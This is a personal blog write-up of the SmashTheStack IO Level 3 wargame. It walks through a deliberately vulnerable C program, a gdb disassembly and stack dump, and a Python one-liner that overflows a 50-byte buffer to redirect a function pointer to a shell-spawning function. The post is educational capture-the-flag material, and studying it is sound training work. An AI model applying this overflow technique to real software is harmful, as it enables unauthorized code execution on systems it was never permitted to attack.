Level 3 SmashTheStack Walkthrough

Last night I started doing the Smash the Stack challenges and decided I would do a write up for Level 3. The reason I am doing a writeup for level 3 is because I learned a lot from it and I believe documenting my thought process will help me better remember and cement that knowledge. This is my first attempt at a writeup so I’m open to any suggestions/constructive criticism. So without further ado, let’s begin.

Upon logging into the level 3 challenge, we are given an executable binary and its corresponding source code. When we run the binary without any arguments nothing is returned and the program exits. So the next step will be to analyze the C source code to see what happened. When we cat it, this is what we get:

//bla, based on work by beach

#include <stdio.h>
#include <string.h>

void good()
        execl("/bin/sh", "sh", NULL);
void bad()
        printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);

int main(int argc, char **argv, char **envp)
        void (*functionpointer)(void) = bad;
        char buffer[50];

        if(argc != 2 || strlen(argv[1]) < 4)
                return 0;

        memcpy(buffer, argv[1], strlen(argv[1]));
        memset(buffer, 0, strlen(argv[1]) - 4);

        printf("This is exciting we're going to %p\n", functionpointer);

        return 0;

Let’s examine the main function first. We notice that there’s a void functionpointer function that points to the memory address bad is stored at. We also see based on the if statement that the program exits without returning anything unless it is given an argument that is at least 4 chars long. If it is, it calls memcpy which copies the argument into a buffer of size 50 and calls memset which sets all the values of the buffer to 0 up until the last word-length position. Then it tells us we’re going to the memory address of the bad function instead of the memory address of the good function which is where we want to be. So, we have to somehow make functionpointer point to memory address 0x8048474. But how do we do this?

Keeping in mind the stack grows from high memory addresses to low memory addresses, let’s take another look at this section of main and think about how each step affects the stack:

void (*functionpointer)(void) = bad;
char buffer[50];

if(argc != 2 || strlen(argv[1]) < 4)
  return 0;

memcpy(buffer, argv[1], strlen(argv[1]));

Before we proceed, for those unfamiliar with assembly, everytime you enter a new function a new stack frame is created on the stack and the $esp register changes to point to the highest memory address in the new stack frame.
As we can see in the code, a new stackframe has just been created for the memcpy function which essentially copies whatever the user inputted into the buffer. Another thing to remember here is that buffers are written from low to high memory addresses. Opposite of how the stack grows. Now, since our buffer is set to size 50 and we don’t see any checks to validate the size of the input we can assume that if we pass in a large enough argument, we can perform a simple buffer overflow exploit to overwrite the address of bad and change it to the address of good to get the flag. Now we just have to figure out how large this argument needs to be since GCC pads the stack for reasons unknown to me whenever it compiles a program. (So no, it won’t be just 50) Let’s open the binary in gdb and find out.

(gdb) disas main
Dump of assembler code for function main:
   0x080484c8 <+0>:	push   %ebp
   0x080484c9 <+1>:	mov    %esp,%ebp
   0x080484cb <+3>:	sub    $0x78,%esp
   0x080484ce <+6>:	and    $0xfffffff0,%esp
   0x080484d1 <+9>:	mov    $0x0,%eax
   0x080484d6 <+14>:	sub    %eax,%esp
   0x080484d8 <+16>:	movl   $0x80484a4,-0xc(%ebp)
   0x080484df <+23>:	cmpl   $0x2,0x8(%ebp)
   0x080484e3 <+27>:	jne    0x80484fc <main+52>
   0x080484e5 <+29>:	mov    0xc(%ebp),%eax
   0x080484e8 <+32>:	add    $0x4,%eax
   0x080484eb <+35>:	mov    (%eax),%eax
   0x080484ed <+37>:	mov    %eax,(%esp)
   0x080484f0 <+40>:	call   0x804839c <strlen@plt>
   0x080484f5 <+45>:	cmp    $0x3,%eax
   0x080484f8 <+48>:	jbe    0x80484fc <main+52>
   0x080484fa <+50>:	jmp    0x8048505 <main+61>
   0x080484fc <+52>:	movl   $0x0,-0x5c(%ebp)
   0x08048503 <+59>:	jmp    0x8048579 <main+177>
   0x08048505 <+61>:	mov    0xc(%ebp),%eax
   0x08048508 <+64>:	add    $0x4,%eax
   0x0804850b <+67>:	mov    (%eax),%eax
   0x0804850d <+69>:	mov    %eax,(%esp)
   0x08048510 <+72>:	call   0x804839c <strlen@plt>
   0x08048515 <+77>:	mov    %eax,0x8(%esp)
   0x08048519 <+81>:	mov    0xc(%ebp),%eax
   0x0804851c <+84>:	add    $0x4,%eax
   0x0804851f <+87>:	mov    (%eax),%eax
   0x08048521 <+89>:	mov    %eax,0x4(%esp)
   0x08048525 <+93>:	lea    -0x58(%ebp),%eax
   0x08048528 <+96>:	mov    %eax,(%esp)
   0x0804852b <+99>:	call   0x804838c <memcpy@plt>
   0x08048530 <+104>:	mov    0xc(%ebp),%eax
   0x08048533 <+107>:	add    $0x4,%eax
   0x08048536 <+110>:	mov    (%eax),%eax
   0x08048538 <+112>:	mov    %eax,(%esp)
   0x0804853b <+115>:	call   0x804839c <strlen@plt>
   0x08048540 <+120>:	sub    $0x4,%eax
   0x08048543 <+123>:	mov    %eax,0x8(%esp)
   0x08048547 <+127>:	movl   $0x0,0x4(%esp)
   0x0804854f <+135>:	lea    -0x58(%ebp),%eax
   0x08048552 <+138>:	mov    %eax,(%esp)
   0x08048555 <+141>:	call   0x804835c <memset@plt>
   0x0804855a <+146>:	mov    -0xc(%ebp),%eax
   0x0804855d <+149>:	mov    %eax,0x4(%esp)
   0x08048561 <+153>:	movl   $0x80486c0,(%esp)
   0x08048568 <+160>:	call   0x80483ac <printf@plt>
   0x0804856d <+165>:	mov    -0xc(%ebp),%eax
   0x08048570 <+168>:	call   *%eax
   0x08048572 <+170>:	movl   $0x0,-0x5c(%ebp)
   0x08048579 <+177>:	mov    -0x5c(%ebp),%eax
   0x0804857c <+180>:	leave
   0x0804857d <+181>:	ret
End of assembler dump.
(gdb) b *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAAAAA
Starting program: /levels/level03 AAAAAAAA

Breakpoint 1, 0x08048530 in main ()
(gdb) x/64wx $esp
0xbffffc50:	0xbffffc70	0xbffffe8a	0x00000008	0x00000001
0xbffffc60:	0xb7fff908	0xb7e878d0	0xbffffd74	0xbffffe7a
0xbffffc70:	0x41414141	0x41414141	0x0000002f	0xb7fd1ff4
0xbffffc80:	0x00000000	0x080497c8	0xbffffc98	0x08048338
0xbffffc90:	0xb7ff0590	0x080497c8	0xbffffcc8	0x080485a9
0xbffffca0:	0xb7fd2304	0xb7fd1ff4	0x08048590	0xbffffcc8
0xbffffcb0:	0xb7eb7505	0xb7ff0590	0x0804859b	0x080484a4
0xbffffcc0:	0x08048590	0x00000000	0xbffffd48	0xb7e9ee16
0xbffffcd0:	0x00000002	0xbffffd74	0xbffffd80	0xb7fe19d0
0xbffffce0:	0xb7ff6821	0x0177ff8e	0xb7ffeff4	0x08048274
0xbffffcf0:	0x00000001	0xbffffd30	0xb7fefc16	0xb7fffac0
0xbffffd00:	0xb7fe1cc0	0xb7fd1ff4	0x00000000	0x00000000
0xbffffd10:	0xbffffd48	0x676a0670	0x4b481060	0x00000000
0xbffffd20:	0x00000000	0x00000000	0x00000002	0x080483d0
0xbffffd30:	0x00000000	0xb7ff59c0	0xb7e9ed3b	0xb7ffeff4
0xbffffd40:	0x00000002	0x080483d0	0x00000000	0x080483f1

As we can see here, I disassembled main and set a breakpoint to suspend all threads of execution at memory address 0x08048530 which is right after memcpy is called to store the user input inside buffer. I then run the program passing in the string “AAAAAAAA”.

x/64wx $esp

instruction basically allows us to examine 64 4-byte blocks of hexadecimal words in increasing memory starting at the ESP register. Why do we choose to start at ESP? Because the stack pointer always points to the top of the stack. It’s a good reference point to find out the current location of the stack.

When we examine the blocks, we notice that at memory addresses 0xbffffc70 and 0xbffffc74 there are two blocks:

0x41414141 0x41414141

Yup, you guessed it. This is where our input “AAAAAAAA” was stored in memory. How do we know this? Because the character “A” is 41h or 0x41 in hex. We also can see that at memory address 0xbffffcbc is the location of the bad function that we want to overwrite. How do we know it is at memory address 0xbffffcbc? Because remember, each of these blocks is 4 bytes long and the decimal number “12” is “C” in hex. So, 0xb7eb7505 is stored at the 4 byte block starting at address 0xbffffcb0…0xb7ff0590 is stored at the 4 byte block starting at address 0xbffffcb4…0x0804859b is stored at the block starting at 0xbffffcb8…and 0x080484a4 is stored at the block starting at 0xbffffcbc.
Now, let’s perform the following calculation to figure out just how long our input needs to be to overwrite this memory address.

0xbffffcbc - 0xbffffc70 = 0x4C

Again, translating 0x4C from hex to decimal gives us 76.
Awesome. Now let’s run the program again, this time using python to pass in 76 bytes of garbage followed by the address of the good function in little-endian format.

level3@io:/levels$ ./level03 `python -c 'print "A"*76+"\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474

And we find our flag in the Level 4 folder in the .pass file.

– Josh


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s